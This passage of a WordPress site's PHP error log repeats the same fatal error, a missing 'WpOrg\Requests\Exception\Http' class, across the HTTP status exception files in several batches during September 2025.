  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[09-Sep-2025 17:34:46 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[09-Sep-2025 17:34:46 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[09-Sep-2025 17:34:46 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[09-Sep-2025 17:34:47 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[09-Sep-2025 17:48:32 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[09-Sep-2025 17:48:32 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[09-Sep-2025 17:48:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[09-Sep-2025 17:48:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[09-Sep-2025 17:48:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[09-Sep-2025 17:48:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[09-Sep-2025 17:48:35 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[09-Sep-2025 17:48:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[09-Sep-2025 17:48:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[09-Sep-2025 17:48:37 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[09-Sep-2025 17:48:38 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[09-Sep-2025 17:48:39 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[09-Sep-2025 17:48:43 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[09-Sep-2025 17:48:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[09-Sep-2025 17:48:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[09-Sep-2025 17:48:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[09-Sep-2025 17:48:46 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[09-Sep-2025 17:48:46 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[09-Sep-2025 17:48:47 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[09-Sep-2025 17:48:47 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[09-Sep-2025 17:48:48 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[09-Sep-2025 17:48:49 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[09-Sep-2025 17:48:49 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[09-Sep-2025 17:48:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[09-Sep-2025 17:48:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[09-Sep-2025 17:48:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[09-Sep-2025 17:48:51 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[09-Sep-2025 17:48:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[09-Sep-2025 17:48:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[09-Sep-2025 17:48:53 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[09-Sep-2025 17:48:53 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[09-Sep-2025 17:48:53 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[09-Sep-2025 17:48:54 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[14-Sep-2025 15:02:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[14-Sep-2025 15:02:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[14-Sep-2025 15:02:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[14-Sep-2025 15:02:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[14-Sep-2025 15:02:35 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[14-Sep-2025 15:02:35 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[14-Sep-2025 15:02:35 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[14-Sep-2025 15:02:35 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[14-Sep-2025 15:02:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[14-Sep-2025 15:02:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[14-Sep-2025 15:02:37 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[14-Sep-2025 15:02:37 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[14-Sep-2025 15:02:38 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[14-Sep-2025 15:02:38 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[14-Sep-2025 15:02:39 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[14-Sep-2025 15:02:39 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[14-Sep-2025 15:02:40 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[14-Sep-2025 15:02:40 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[14-Sep-2025 15:02:40 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[14-Sep-2025 15:02:41 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[14-Sep-2025 15:02:42 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[14-Sep-2025 15:02:42 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[14-Sep-2025 15:02:42 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[14-Sep-2025 15:02:42 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[14-Sep-2025 15:02:43 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[14-Sep-2025 15:02:43 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[14-Sep-2025 15:02:43 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[14-Sep-2025 15:02:43 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[14-Sep-2025 15:02:44 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[14-Sep-2025 15:02:44 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[14-Sep-2025 15:02:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[14-Sep-2025 15:02:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[14-Sep-2025 15:02:46 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[14-Sep-2025 15:11:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[14-Sep-2025 15:11:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[14-Sep-2025 15:11:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[14-Sep-2025 15:11:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[14-Sep-2025 15:11:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[14-Sep-2025 15:11:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[14-Sep-2025 15:11:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[14-Sep-2025 15:11:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[14-Sep-2025 15:11:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[14-Sep-2025 15:11:15 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[14-Sep-2025 15:11:15 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[14-Sep-2025 15:11:15 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[14-Sep-2025 15:11:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[14-Sep-2025 15:11:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[14-Sep-2025 15:11:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[14-Sep-2025 15:11:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[14-Sep-2025 15:11:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[14-Sep-2025 15:11:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[14-Sep-2025 15:11:19 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[14-Sep-2025 15:11:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
